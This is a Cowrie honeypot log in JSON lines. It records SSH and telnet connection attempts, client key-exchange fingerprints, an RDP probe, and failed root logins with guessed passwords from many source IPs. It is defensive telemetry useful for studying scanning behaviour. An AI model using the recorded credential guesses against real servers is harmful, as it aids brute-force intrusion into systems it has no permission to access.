{"eventid":"cowrie.session.connect","src_ip":"43.153.0.59","src_port":38736,"dst_ip":"159.203.135.109","dst_port":22,"session":"15e84be3601a","protocol":"ssh","message":"New connection: 43.153.0.59:38736 (159.203.135.109:22) [session: 15e84be3601a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.609442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.614063Z","src_ip":"43.153.0.59","session":"15e84be3601a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.167.177.203","src_port":50530,"dst_ip":"159.203.135.109","dst_port":22,"session":"c326d27f57bf","protocol":"ssh","message":"New connection: 108.167.177.203:50530 (159.203.135.109:22) [session: c326d27f57bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.619520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.623447Z","src_ip":"108.167.177.203","session":"c326d27f57bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.648878Z","src_ip":"108.167.177.203","session":"c326d27f57bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.682137Z","src_ip":"43.153.0.59","session":"15e84be3601a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zbyszek","message":"login attempt [root/zbyszek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.784727Z","src_ip":"108.167.177.203","session":"c326d27f57bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"80486","message":"login attempt [root/80486] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:13.987571Z","src_ip":"43.153.0.59","session":"15e84be3601a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:14.813239Z","src_ip":"108.167.177.203","session":"c326d27f57bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:15.059350Z","src_ip":"43.153.0.59","session":"15e84be3601a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":60008,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc69a02dc845","protocol":"ssh","message":"New connection: 181.47.9.103:60008 (159.203.135.109:22) [session: cc69a02dc845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:16.239445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:16.243572Z","src_ip":"181.47.9.103","session":"cc69a02dc845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:16.387511Z","src_ip":"181.47.9.103","session":"cc69a02dc845","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ts3bot","message":"login attempt [root/ts3bot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:17.017893Z","src_ip":"181.47.9.103","session":"cc69a02dc845","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42794,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e829b4c2936","protocol":"ssh","message":"New connection: 103.122.221.179:42794 (159.203.135.109:22) [session: 6e829b4c2936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:17.909410Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:17.914765Z","src_ip":"103.122.221.179","session":"6e829b4c2936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.230.149","src_port":41686,"dst_ip":"159.203.135.109","dst_port":22,"session":"e486bd1faca4","protocol":"ssh","message":"New connection: 207.154.230.149:41686 (159.203.135.109:22) [session: e486bd1faca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:18.060708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:18.065781Z","src_ip":"207.154.230.149","session":"e486bd1faca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:18.150992Z","src_ip":"207.154.230.149","session":"e486bd1faca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:18.163003Z","src_ip":"181.47.9.103","session":"cc69a02dc845","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:18.186870Z","src_ip":"103.122.221.179","session":"6e829b4c2936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solr","message":"login attempt [root/solr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:18.516720Z","src_ip":"207.154.230.149","session":"e486bd1faca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqwsx123","message":"login attempt [root/zaqwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:18.975066Z","src_ip":"103.122.221.179","session":"6e829b4c2936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:19.602068Z","src_ip":"207.154.230.149","session":"e486bd1faca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:20.240046Z","src_ip":"103.122.221.179","session":"6e829b4c2936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.237.246","src_port":58000,"dst_ip":"159.203.135.109","dst_port":22,"session":"acf41806ae8c","protocol":"ssh","message":"New connection: 43.156.237.246:58000 (159.203.135.109:22) [session: acf41806ae8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:23.002103Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:23.010970Z","src_ip":"43.156.237.246","session":"acf41806ae8c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:23.249197Z","src_ip":"43.156.237.246","session":"acf41806ae8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:24.233574Z","src_ip":"43.156.237.246","session":"acf41806ae8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:25.474387Z","src_ip":"43.156.237.246","session":"acf41806ae8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.95332360267639,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:26.315290Z","src_ip":"192.119.13.58","session":"1457ede7bb42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.94.212.80","src_port":53546,"dst_ip":"159.203.135.109","dst_port":22,"session":"223e5b4ddb05","protocol":"ssh","message":"New connection: 184.94.212.80:53546 (159.203.135.109:22) [session: 223e5b4ddb05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:26.955064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:26.961275Z","src_ip":"184.94.212.80","session":"223e5b4ddb05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:27.026198Z","src_ip":"184.94.212.80","session":"223e5b4ddb05","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Miller","message":"login attempt [root/Miller] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:27.317331Z","src_ip":"184.94.212.80","session":"223e5b4ddb05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:28.385508Z","src_ip":"184.94.212.80","session":"223e5b4ddb05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.117.200","src_port":37036,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fa7e5b7565e","protocol":"ssh","message":"New connection: 119.28.117.200:37036 (159.203.135.109:22) [session: 6fa7e5b7565e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:34.094232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:34.105231Z","src_ip":"119.28.117.200","session":"6fa7e5b7565e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.504154682159424,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:34.254024Z","src_ip":"192.119.13.58","session":"99b7ea982c0d","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:34.336506Z","src_ip":"119.28.117.200","session":"6fa7e5b7565e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qqwwee","message":"login attempt [root/qqwwee] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:35.293973Z","src_ip":"119.28.117.200","session":"6fa7e5b7565e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:36.528876Z","src_ip":"119.28.117.200","session":"6fa7e5b7565e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":64257,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d4e75b92ca0","protocol":"ssh","message":"New connection: 152.42.212.128:64257 (10.17.0.5:22) [session: 1d4e75b92ca0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:40.916954Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:40.921144Z","src_ip":"152.42.212.128","session":"1d4e75b92ca0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:40.924546Z","src_ip":"152.42.212.128","session":"1d4e75b92ca0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.36.241.12","src_port":60992,"dst_ip":"159.203.135.109","dst_port":23,"session":"96aff21e980f","protocol":"telnet","message":"New connection: 176.36.241.12:60992 (159.203.135.109:23) [session: 96aff21e980f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:58:41.766477Z"}
